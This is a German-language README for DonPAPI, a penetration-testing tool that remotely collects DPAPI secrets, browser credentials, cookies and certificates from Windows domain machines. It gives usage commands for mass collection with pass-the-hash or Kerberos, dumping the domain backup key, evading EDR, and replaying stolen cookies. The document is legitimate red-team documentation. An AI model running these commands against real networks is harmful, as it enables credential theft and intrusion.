
Automatisierter Remote-Anmeldeinformationssammler für Windows-Umgebungen, der DPAPI-Geheimnisse, Browser-Anmeldeinformationen, Zertifikate und Konfigurationsdateien extrahiert, mit integrierter Verteidigungsumgehung und einem webbasierten Beute-Viewer.
DonPAPI automatisiert das Auslesen von Geheimnissen (Secrets) auf mehreren Windows-Computern aus der Ferne, mit Fokus auf Umgehung von Verteidigungsmaßnahmen.

Gesammelte Anmeldedaten:
Wir haben einen Vortrag auf Französisch über DPAPI mit dem Titel DPAPI - Don't Put Administration Passwords In 🇫🇷 gehalten:
Dieses Tool sollte mit pipx oder in einer dedizierten virtuellen Umgebung installiert werden
pipx install donpapi
oder (mit neuesten Commits)
pipx install git+https://github.com/login-securite/DonPAPI.git
oder (zum Entwickeln)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump revelant information on compromised targets without AV detection. Version: 2.0.0
positional arguments:
{collect,gui} DonPAPI Action
collect Dump secrets on a target list
gui Spawn a Flask webserver to crawl DonPAPI database
options:
-h, --help show this help message and exit
-v Verbosity level (-v or -vv)
-o DIRNAME, --output-directory DIRNAME
Output directory. Default is ~/.donpapi/loot/
Diese Aktion wird verwendet, um Geheimnisse auf den in -t angegebenen Zielen zu sammeln.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help show this help message and exit
--keep-collecting seconds
Rerun the attack against all targets after X seconds, X being the value
--threads Number of threads
Number of threads (default: 50)
--no-config Do not load donpapi config file (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
computer hostnames from LDAP
-d domain.local, --domain domain.local
Domain
-u username, --username username
Username
-p password, --password password
Password
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
--no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
--aesKey hex key AES key to use for Kerberos Authentication (1128 or 256 bits)
--laps Administrator use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
--dc-ip IP address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
The recover file path. If used, the other parameters will be ignored
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
previous) (default: All)
-nr, --no-remoteops Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
--fetch-pvk Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
--pvkfile PVKFILE Pvk file with domain backup key
--pwdfile PWDFILE File containing username:password that will be used eventually to decrypt masterkeys
--ntfile NTFILE File containing username:nthash that will be used eventually to decrypt masterkeys
--mkfile MKFILE File containing {GUID}:SHA1 masterkeys mappings
Die Authentifizierung erfolgt durch Angabe einer Domain mit --domain, eines Benutzernamens mit --username und optional eines Passworts mit --password, eines Hashes mit --hashes, eines AES-Schlüssels mit --aesKey oder eines Kerberos-Tickets im ccache-Format mit -k (Impacket-Stil). Sie können sich auch über LAPS auf dem Computer authentifizieren, indem Sie --laps und den Benutzernamen des lokalen LAPS-Kontos als Wert für diesen Parameter angeben.
Standardmäßig sammelt DonPAPI:
Sie können jeden einzelnen Sammler mit --collectors angeben (SharpHound-Stil). Wenn Sie --fetch-pvk verwenden, ruft DonPAPI automatisch den Domänen-Backup-Schlüssel der AD-Domäne ab und verwendet ihn, um Masterkeys zu entschlüsseln. Andernfalls können Sie einen mit --pvkfile bereitstellen. --pwdfile und --ntfile werden verwendet, um DonPAPI mit Geheimnissen zu versorgen, um Masterkeys zu entsperren. Falls Sie jedoch frisch entschlüsselte Masterkeys haben, können Sie --mkfile verwenden.
[!WARNING] Einige Sammelmethoden erfordern das Auslesen von LSA-Geheimnissen (um den DPAPI-Maschinen-Schlüssel zu erhalten). Diese Aktion kann laut sein, und moderne EDR werden Sie sofort blockieren. Sie können
-nrverwenden, um diese lauten Aktionen zu vermeiden, aber einige Geheimnisse werden dann nicht gesammelt.
DonPAPI unterstützt jetzt eine Konfigurationsdatei, um das Verhalten von Secretsdump aufzupeppen. Diese Datei befindet sich unter ~/.donpapi/donpapi.conf und sieht standardmäßig wie folgt aus:
[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log
DonPAPI unterstützt Wiederherstellungsdateien. Jedes Mal, wenn Sie einen collect-Befehl ausführen, wird eine Wiederherstellungsdatei der verbleibenden Ziele und aller Optionen gespeichert. Standardmäßig befindet sich die Datei im Ordner ~/.donpapi/register/.
Manchmal möchte man bei einer internen Bewertung besonders gründlich auf bestimmte Ziele vorgehen und immer wieder Geheimnisse auf deren Computern sammeln. Machen Sie keine dumme Bash-Schleife, verwenden Sie einfach --keep-collecting X, wobei X die Sekunden sind, die Sie zwischen den einzelnen Sammlungen warten möchten.
Nachdem Sie all diese Geheimnisse gesammelt haben, möchten Sie sie durchsuchen. DonPAPI ermöglicht Ihnen, alle gesammelten Geheimnisse über eine Weboberfläche zu durchsuchen. Starten Sie sie mit donpapi gui.
usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]
options:
-h, --help show this help message and exit
--bind BIND HTTP Server bind address (default=127.0.0.1)
--port PORT HTTP Server port (default=8088)
--ssl Use an encrypted connection
--basic-auth user:password
Set up a basic auth
Allgemein
Dieser Bildschirm zeigt Ihnen alle wiederverwendeten SAM-Passwörter auf allen gesammelten Computern, ausgegebene geplante Aufgaben und Dienstkontopasswörter, die aus LSA extrahiert wurden. Sie können alle im CSV-Format exportieren.
Secrets
Dieser Bildschirm zeigt Ihnen alle mit DonPAPI erbeuteten Geheimnisse. Sie können nach mehreren Elementen suchen und Geheimnisse im CSV-Format exportieren.
Cookies
Dieser Bildschirm zeigt Ihnen alle mit DonPAPI erbeuteten Cookies. Sie können nach mehreren Elementen suchen und Cookies im CSV-Format exportieren, aber auch als JavaScript-Code kopieren und in Ihrem Browser einfügen.
Certificates
Dieser Bildschirm zeigt Ihnen alle mit DonPAPI erbeuteten Zertifikate. Sie können nach mehreren Elementen suchen und Zertifikate im CSV-Format exportieren. Wenn ein Zertifikat die Client-Authentifizierung erlaubt, wird durch Klicken auf Ja ein Certipy-Befehl zum Verwenden des Zertifikats kopiert.
Dieses Tool dient ausschließlich zu Bildungs- und ethischen Hacking-Zwecken. Login Sécurité ist nicht verantwortlich für Missbrauch, der mit diesem Tool begangen wird.
Das GUI-Frontend wurde in Vue3 + Vite.js entwickelt, das Backend ist Python Flask.
Standardmäßig wird es unter http://127.0.0.1:8088 bereitgestellt, aber Sie können es nach Belieben bereitstellen, sogar unter https://0.0.0.0:443.
[!WARNING] Setzen Sie DonPAPI niemals auf diese Weise einem ganzen Netzwerk aus, das kann sehr gefährlich sein. DonPAPI unterstützt HTTPS mit
--sslund Sie können eine Basic Auth mit--basic-authhinzufügen. Und setzen Sie DonPAPI niemals auf diese Weise im Internet aus.
Durch Klicken auf einen Wert in den Tabellen wird dieser sofort in Ihre Zwischenablage kopiert.
Ein Kontrollkästchen Passwort ausblenden ist in der GUI verfügbar, um sensible Daten in der GUI auszublenden – perfekt für Screenshots.
Alle Anerkennung geht an diese großartigen Leute für die harte Forschungs- und Programmierarbeit: